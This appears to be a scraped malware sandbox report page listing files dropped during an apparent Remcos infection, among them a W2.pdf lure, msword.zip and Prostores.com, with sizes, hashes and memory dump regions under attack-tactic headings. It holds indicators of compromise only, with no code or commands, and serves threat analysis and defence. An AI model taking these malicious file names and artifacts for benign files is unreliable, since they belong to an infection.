
Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\remcos\logs.dat

Filesize
178B

MD5
5ad1ddaa946ed0323bca860f5b9b133f

SHA1
2ad462e272e12fedadb08e17d8f6691959821b03

SHA256
5a4dceb4455e04b9fef4dc7f88d28741471503549381c800e40ea4e70d7960cd

SHA512
2b4cc440a202de8d734292aec359d2c66a2072cc1a0ae58aa200b0fece9716528850a533e283fa29d0fa173889a70aad81ce77ab7e5945bd5d268ec1154338cf

Download Submit
C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Filesize
36KB

MD5
b30d3becc8731792523d599d949e63f5

SHA1
19350257e42d7aee17fb3bf139a9d3adb330fad4

SHA256
b1b77e96279ead2b460de3de70e2ea4f5ad1b853598a4e27a5caf3f1a32cc4f3

SHA512
523f54895fb07f62b9a5f72c8b62e83d4d9506bda57b183818615f6eb7286e3b9c5a50409bc5c5164867c3ccdeae88aa395ecca6bc7e36d991552f857510792e

Download Submit
C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Filesize
56KB

MD5
752a1f26b18748311b691c7d8fc20633

SHA1
c1f8e83eebc1cc1e9b88c773338eb09ff82ab862

SHA256
111dac2948e4cecb10b0d2e10d8afaa663d78d643826b592d6414a1fd77cc131

SHA512
a2f5f262faf2c3e9756da94b2c47787ce3a9391b5bd53581578aa9a764449e114836704d6dec4aadc097fed4c818831baa11affa1eb25be2bfad9349bb090fe5

Download Submit
C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Filesize
64KB

MD5
ae4e587f8b4f5541ac904da4e4bc49be

SHA1
11601af661dc0d8c37cb26a4addae65ec493f44b

SHA256
a68914c805e6a583f720d07f88f03f4d367745942e43ff536a306dd3f3722094

SHA512
47f02e833466f3960316dd240cc96aaf79cd48ad5f92384126646e3d868d626eebca09328b148840a80afae94a984e4cf58fc4b6603915d70ad39c359da0fed5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
a2b24af1492f112d2e53cb7415fda39f

SHA1
dbfcee57242a14b60997bd03379cc60198976d85

SHA256
fa05674c1db3386cf01ba1db5a3e9aeb97e15d1720d82988f573bf9743adc073

SHA512
9919077b8e5c7a955682e9a83f6d7ab34ac6a10a3d65af172734d753a48f7604a95739933b8680289c94b4e271b27c775d015b8d9678db277f498d8450b8aff0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
3df110e480ee96b0eb33e2a49b6e9c38

SHA1
ab63f7e1cae2e3c353480cf9649ed003f297f02c

SHA256
6e681c03c4803b75a721a4439acf24c12b774dea7c652f6feffe57466e3d056c

SHA512
37287132e7a1cf3ee34d12db777fe1c067f79bc82dda78a9bca31880fa1937a9230d309b7dd04a541c33c8523063c038ef943673bffd36d3e276cc157383fcee

Download Submit
C:\Users\Admin\AppData\Local\Temp\677826\N

Filesize
716KB

MD5
c82d57c04aad2bd54dfeed7cbfee8ecb

SHA1
c564cfca3bcc3a26128917c94ab4e44f9cd25bbe

SHA256
4e285732bd17a06ae4be71beaad8e5ce4dbd211f2888b4571d5d0c716764c767

SHA512
9d3102efb33d4b5a510d24d1b7f313c66cb502b6b7572ef2c10538d3b48b8d63d7cad41e5b9596181b142a7fdfd27727c6541a55307b4c4f793b957acd7ecedb

Download Submit
C:\Users\Admin\AppData\Local\Temp\677826\Prostores.com

Filesize
925KB

MD5
62d09f076e6e0240548c2f837536a46a

SHA1
26bdbc63af8abae9a8fb6ec0913a307ef6614cf2

SHA256
1300262a9d6bb6fcbefc0d299cce194435790e70b9c7b4a651e202e90a32fd49

SHA512
32de0d8bb57f3d3eb01d16950b07176866c7fb2e737d9811f61f7be6606a6a38a5fc5d4d2ae54a190636409b2a7943abca292d6cefaa89df1fc474a1312c695f

Download Submit
C:\Users\Admin\AppData\Local\Temp\Alcohol

Filesize
50KB

MD5
dd266093b6c3933b83753002fa856a2e

SHA1
39d54dc7d7dc9a7c7dd626046096730e730c22d4

SHA256
5fd8ed3bcc118a3e4da9669b07497f3933245fdf4451276394858022e8f867bb

SHA512
a6cab1788fbce3dc329f84b2cfe034d67ce909a0dcf871f22e51ad11e17a26201f894280568fa46c2dcffa74cd6e9be4287201617288a1c171dedf52f370b7c5

Download Submit
C:\Users\Admin\AppData\Local\Temp\Charged

Filesize
90KB

MD5
21a1caf7906cd79fa2f0c1ccb065c02f

SHA1
35d20fb034f3587773695fbe05fb0984be7cc12c

SHA256
0817e365a8a9bd66f18ebc955af76d00ea70071573952988e9701f5944b12ec8

SHA512
4952e631e2b98f19cd4952f8f4ca7b422025e6111678a3aee94197fd7e7b2f6da5c8761ce9a9f2ec909f184b9172275c11a21cb430b6d90171115005d5733e59

Download Submit
C:\Users\Admin\AppData\Local\Temp\Chief

Filesize
135KB

MD5
5d7f155185b7b7ce52433df0895cd254

SHA1
3dcf933c6895b843dba20447c21f673f83eafa9d

SHA256
eea2d5cfcf7311b8e926741ca23552d11d43049753bbb2efd835a6e7ca9fb396

SHA512
29a0603a0af8e8e0d9a8e8a414d91edcbf6e5236d8f4a1496ec84db26dcec2cfcae133bb33ae87ccbb6442f54abfe8ca450cf65515ec587bf551b583828a3318

Download Submit
C:\Users\Admin\AppData\Local\Temp\Controversy

Filesize
54KB

MD5
9ab6cc30c12ceb5d4f1bb3a55d4fe455

SHA1
74c250c42e24e6df717b49a4bed3729eb9064cad

SHA256
3a83e692c74855b6dc24c7067d4308031310a678e4c57ef45e7d3ec9256844a1

SHA512
c96341afa3630fa9212ff91d860cbfd37d135c52386a316c3b161bc0df307486d4bf19fb7023532ae26380643f010bd7427ba5ab3768ee3e3f6d4bdd09921144

Download Submit
C:\Users\Admin\AppData\Local\Temp\Corporate

Filesize
95KB

MD5
459740d3aa55d6bb677047a043a11049

SHA1
20002f1d45fea6eed6aff3ead22cff091d78b41a

SHA256
4c4f6ef591cdd3d235fe09df1a90cd5af14c756a908be132c13a9ede2b7a900d

SHA512
b51d14c8da04fff2ed8d309b643a91f679bf2a31638b8e91b7de9bb7cfe7f3aa8590432b685621b871a004de2d8aeafc0ccf057ae5f55bcb0661c7172105cb34

Download Submit
C:\Users\Admin\AppData\Local\Temp\Dealer

Filesize
51KB

MD5
9c9c85945089a8c81528a6b23a209e20

SHA1
599e249d010d0a40f3914d82af710c655a1da778

SHA256
71e8e4c78a2238179f1d01d2c280caf8cca1b62379c51fcea39fab2800990d5c

SHA512
26159ef952317a38560f91d10ccf89f9c652cfefc73a15681f3554f36ae53326322abb3466900466dbd0868971df7a9d1c2d718facfe87becd13b7390438e9f0

Download Submit
C:\Users\Admin\AppData\Local\Temp\Fig

Filesize
54KB

MD5
c7c08c021e27b2eeb0824937a10ac43d

SHA1
3ffec4974bccf5a2cb9ad02411dbad5b62f810a1

SHA256
4f6a15c2bc947318ba8bccf9be0948bccb6740d1f06ccd5ecf9296609166e524

SHA512
0b539d2800c0ff28841f478368838b12cee02019145275432cc7fd9767bced34f444d1c77c50804da36e00942fb19ac0ac65c73918d7f2e96ef77eba28387d14

Download Submit
C:\Users\Admin\AppData\Local\Temp\Hearings

Filesize
115KB

MD5
1d1169e8e8c0de7a5e7e1babd8470dd6

SHA1
4406eb665fc118b1767464f0ce2484c97eb4880b

SHA256
f20431c1d82ab151dde7271cd37a6f208fcd45272d9a83980ccc3dd72d704f40

SHA512
4e7562f6102f1265bf5c64509adc68769680110bfdd2333c977a3404cea3d014960ef1be276bff241761c9e5135711d2dba53980e5bb6ea83375e1951eccd351

Download Submit
C:\Users\Admin\AppData\Local\Temp\Larger

Filesize
143KB

MD5
39c723a69e6f51230d209b72f81abe9b

SHA1
b0f058579d60e5a6c612f60732fdf3d7c8e86a9c

SHA256
4a1b5ff59395fc0991987b588918649871a3106340a3d6f572c3fa232d59fbc9

SHA512
04858b44c1db4b307f0fb2c853ffb0c1149a23166c670aaa407d191ab47ce21702858d4b30aabddec253652868e19b1a01acf1e2a5ab776581e191ca38f8806b

Download Submit
C:\Users\Admin\AppData\Local\Temp\Lets

Filesize
69KB

MD5
fa2010085679eec632f3107657e30a81

SHA1
74611be98ea26266232dd5a92f465d09273f76f6

SHA256
b449025fe3c3a0598c9d9bcf2d8c631fba1b3c4144237d78fe6ecdd1574e2211

SHA512
5d2346b043f37469be69690da25b4257d8554a24b48214dc91e5957971184e56db49aecd1cd2379d27ba0e31e1f31bef07d974066ad5c92b95caa16811126ca5

Download Submit
C:\Users\Admin\AppData\Local\Temp\Market

Filesize
29KB

MD5
971cb890ac9f35b6105de0eb33095730

SHA1
d113b90f9219237a611a8ee03040682ddbd93ce1

SHA256
ccf66550ac0bbd65aeffeffc0756f2e0669a88528f598350841cb68a6e48fba4

SHA512
8cfaba88e6b9d55676a454f290a1cbb112624f6986ca441f48ae93f9132810d03337f42371ba3d5116b92b8bd1a5d12047d0139a9ef1700d6126fee8bc70829e

Download Submit
C:\Users\Admin\AppData\Local\Temp\Matter

Filesize
45KB

MD5
d4b3adc8cbb57eab0bf606db6a43e118

SHA1
356174d53e6491026eb1ac8ebcef4cf718bce17b

SHA256
85acb62961bffd09d7b492ce0f6d127e67a80e874bd66f3e50bb02b4bbbf6e16

SHA512
ead4144ce24f579c7f0e5055620257674d907f5bbd3a65868847421675985c7d81422d9076f2fbd901cec6835c81035d464916d8e94a0ce3c9c8014c0c3dfd01

Download Submit
C:\Users\Admin\AppData\Local\Temp\Metallic

Filesize
148KB

MD5
acac13dc82ce749f727f0c81ba5fdc73

SHA1
5350fe77594467906a5251b8c2248cd81d15d8e2

SHA256
b6a35ac20baed2784e793e577670b5ae1062890cb9bc4d931a9f0bc874b2a612

SHA512
c86b8dd695dae4626631af41497c73250a73967e28a9f3472f2d344c4ff2f7fbaf9101fbd5ec45124537df823951c5e09fe0696488ad599d6afa77ddb918364f

Download Submit
C:\Users\Admin\AppData\Local\Temp\Peripheral

Filesize
71KB

MD5
2c4cfd8a5b0e70b3b8e872fc1091c9ca

SHA1
2c6c8dc12ca41da972d3b393129506c9b9cba0cd

SHA256
e7051ec0a2700737d0c85441ef433d0041451623346d2933f4ad602c88c83bde

SHA512
19e74e8777d5fb850cecf1e95219f7ebc8648c29a24647b72ce94a5e1286ca3fcffa9fd8ad19f689b1a3466a109dafba2d10dbc85fdc1610fc0716ce4018174e

Download Submit
C:\Users\Admin\AppData\Local\Temp\Phentermine

Filesize
67KB

MD5
49efdfc03ccda219825c385b3b35fb43

SHA1
cb1b3e7c95e0c457de0a8879073301b44a12fa3a

SHA256
f98c5bcc2a2a7abdc448a2c048326aed45a9a914a2ab3ea4d1ba4ada7d810144

SHA512
560fe3ee3f80850eb5d6813327d165af384b31691d35694c4e4385f5b0bb895747042d97d4f63c9fa611aca0a642924cf9dead30ec035eee62a87fddbcd1b8f4

Download Submit
C:\Users\Admin\AppData\Local\Temp\Presidential

Filesize
36KB

MD5
54c230191c78cf10807f0d4eaa561cbf

SHA1
70a2b2019668f5bb8c3d58c64eeb34c9907b55e6

SHA256
a656398863a57ca942f748b9a697de3217c0e1843679d1e8d6c8ac98f8c1e02a

SHA512
3f195d1212295be976285df384612f26e174e1f2de679b209ef8861999e430de13ea6e3dec8747f4ddf227f44dfeb2a6112d137cb208572c5ef9b4f2d42502df

Download Submit
C:\Users\Admin\AppData\Local\Temp\Query

Filesize
76KB

MD5
e5f5603745ac7e491627f61f770384e1

SHA1
71b49644f3c8659c075cfa4cfddba22588131fb1

SHA256
9706522d1d008fe36cc3d7bb32a3c33b18530ba86a7e5e557b0d95ece20be281

SHA512
6d84b641c97bf6dd3c075eb59803d97483e3167d1d72871be14b1f9519751d6a74ac973bf9e50d5a3d5a7b954dc939a8063dd91ea1123581170053c48d9c5237

Download Submit
C:\Users\Admin\AppData\Local\Temp\Syndicate

Filesize
87KB

MD5
5ebb42aded1c56715ba1ec98bc2638f1

SHA1
9b3ad86be972bc59ecf45c249fd38a4dfd762fff

SHA256
d302b56f0fabfb24855d94c90bbdd829837b8fa85b1c6777cf2e20b5526bb602

SHA512
256645ac47fe31aa2147906bc5a53ba328f288e20d44adcd0adff9e386dddf63a8c9a161d675f35e56443985a6d811f0fed2f48c526a17c0923b6653d4ee2ca5

Download Submit
C:\Users\Admin\AppData\Local\Temp\Usgs

Filesize
74KB

MD5
86bdddbf60a6b1ce21d695171b5b50a7

SHA1
3edcc074129f105db4ead779d08be20d6812ee15

SHA256
a3a5647bb284f7f395407a00d9efaeacf0d54c8e79fba8bc28fe826183f24eaa

SHA512
26657048694fb307e80bbe91964bf4dfebafd0729669cd9f2290c7e139ec1ce21c3410ceba3b7c2f0ce3a4dbf57bfb62248670dc9cb9ccce3baf1096e484c27d

Download Submit
C:\Users\Admin\AppData\Local\Temp\Veterans

Filesize
127KB

MD5
5cd6af8d1d071c54d081df22f7d057ab

SHA1
330782e2fceb552e894643fdc40affadd187044e

SHA256
bcfbf03bfe8181b81f3a1ff2d3774233ce013596fb3f4f535819fc422b696cee

SHA512
4f6cb5f41f5d338b998a075c532eb500806463c14fb9ab0b3945ca5aa24cc2ddd12f3d0e02d91fef513aa3602a9e29cf69abbe12181ba625dfc7f0e325f3d6f7

Download Submit
C:\Users\Admin\AppData\Local\Temp\Viewed

Filesize
54KB

MD5
01e51a0d2ac4e232bb483444ec14f156

SHA1
8db19310817378bcf4f59f7e6e8ac65e3bad8e2f

SHA256
27d2e36b97dba2657d797098d919f7c76893713537ff4aba5f38cb48bc542ef9

SHA512
c982a98ae76f1dc6459f868c9f7b79d9cd3372c2045fd10fa1a876ec03367f77e4be9ccd27bbeaeb58e8c3c06e838a7de44057069f8cf1e7925cea14397e0962

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_om0dwih3.5k2.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\msword.zip

Filesize
3.3MB

MD5
ef2620f66230219a51a6c2055066c3c3

SHA1
394657c478086158830be943c09630488be56366

SHA256
b9c27330ed8eae02a918901435a2d1f98ee20cb2390d9f69fc45a043f2009a5b

SHA512
c20357671e243aad4a68251a6c49ec9bd69fbfbef104bd73ca6903003d558159c2b5417924cc6228fbb5a8750fe3f24246c8a7686a823e27e7db80eae351023a

Download Submit
C:\Users\Admin\Downloads\W2.pdf

Filesize
384KB

MD5
57f09ea46c7039ea45bb3fd01bbd8c80

SHA1
1365ff5e6e6efc3e501d350711672f6a232aa9f8

SHA256
3850e8022e3990b709da7cddbfd3f830eb86f34af89d5939e2999c1e7de9766f

SHA512
6de0acd9d03bde584a7b2c2c7781530ba7504622b518523993311ad6174d2a9890e9d230a2a3a51d76615111a9f62259a9615378440690f20708b201b19a17f8

Download Submit
memory/1204-78-0x000001CEE6710000-0x000001CEE671A000-memory.dmp

Filesize
40KB

Download
memory/1204-77-0x000001CEFF930000-0x000001CEFF942000-memory.dmp

Filesize
72KB

Download
memory/2388-0-0x00007FFDDEDD3000-0x00007FFDDEDD5000-memory.dmp

Filesize
8KB

Download
memory/2388-22-0x00007FFDDEDD0000-0x00007FFDDF891000-memory.dmp

Filesize
10.8MB

Download
memory/2388-12-0x00007FFDDEDD0000-0x00007FFDDF891000-memory.dmp

Filesize
10.8MB

Download
memory/2388-11-0x00007FFDDEDD0000-0x00007FFDDF891000-memory.dmp

Filesize
10.8MB

Download
memory/2388-3-0x0000024E1A580000-0x0000024E1A5A2000-memory.dmp

Filesize
136KB

Download
memory/4368-858-0x0000000004C10000-0x0000000004C8F000-memory.dmp

Filesize
508KB

Download
memory/4368-868-0x0000000004C10000-0x0000000004C8F000-memory.dmp

Filesize
508KB

Download
memory/4368-856-0x0000000004C10000-0x0000000004C8F000-memory.dmp

Filesize
508KB

Download
memory/4368-857-0x0000000004C10000-0x0000000004C8F000-memory.dmp

Filesize
508KB

Download
memory/4368-853-0x0000000004C10000-0x0000000004C8F000-memory.dmp

Filesize
508KB

Download
memory/4368-859-0x0000000004C10000-0x0000000004C8F000-memory.dmp

Filesize
508KB

Download
memory/4368-862-0x0000000004C10000-0x0000000004C8F000-memory.dmp

Filesize
508KB

Download
memory/4368-863-0x0000000004C10000-0x0000000004C8F000-memory.dmp

Filesize
508KB

Download
memory/4368-865-0x0000000004C10000-0x0000000004C8F000-memory.dmp

Filesize
508KB

Download
memory/4368-864-0x0000000004C10000-0x0000000004C8F000-memory.dmp

Filesize
508KB

Download
memory/4368-866-0x0000000004C10000-0x0000000004C8F000-memory.dmp

Filesize
508KB

Download
memory/4368-855-0x0000000004C10000-0x0000000004C8F000-memory.dmp

Filesize
508KB

Download
memory/4368-870-0x0000000004C10000-0x0000000004C8F000-memory.dmp

Filesize
508KB

Download
memory/4368-871-0x0000000004C10000-0x0000000004C8F000-memory.dmp

Filesize
508KB

Download
memory/4368-854-0x0000000004C10000-0x0000000004C8F000-memory.dmp

Filesize
508KB

Download
memory/4368-884-0x0000000004C10000-0x0000000004C8F000-memory.dmp

Filesize
508KB

Download
memory/4368-885-0x0000000004C10000-0x0000000004C8F000-memory.dmp

Filesize
508KB

Download
memory/4368-898-0x0000000004C10000-0x0000000004C8F000-memory.dmp

Filesize
508KB

Download
memory/4368-899-0x0000000004C10000-0x0000000004C8F000-memory.dmp

Filesize
508KB

Download
memory/4368-912-0x0000000004C10000-0x0000000004C8F000-memory.dmp

Filesize
508KB

Download
memory/4368-913-0x0000000004C10000-0x0000000004C8F000-memory.dmp

Filesize
508KB

Download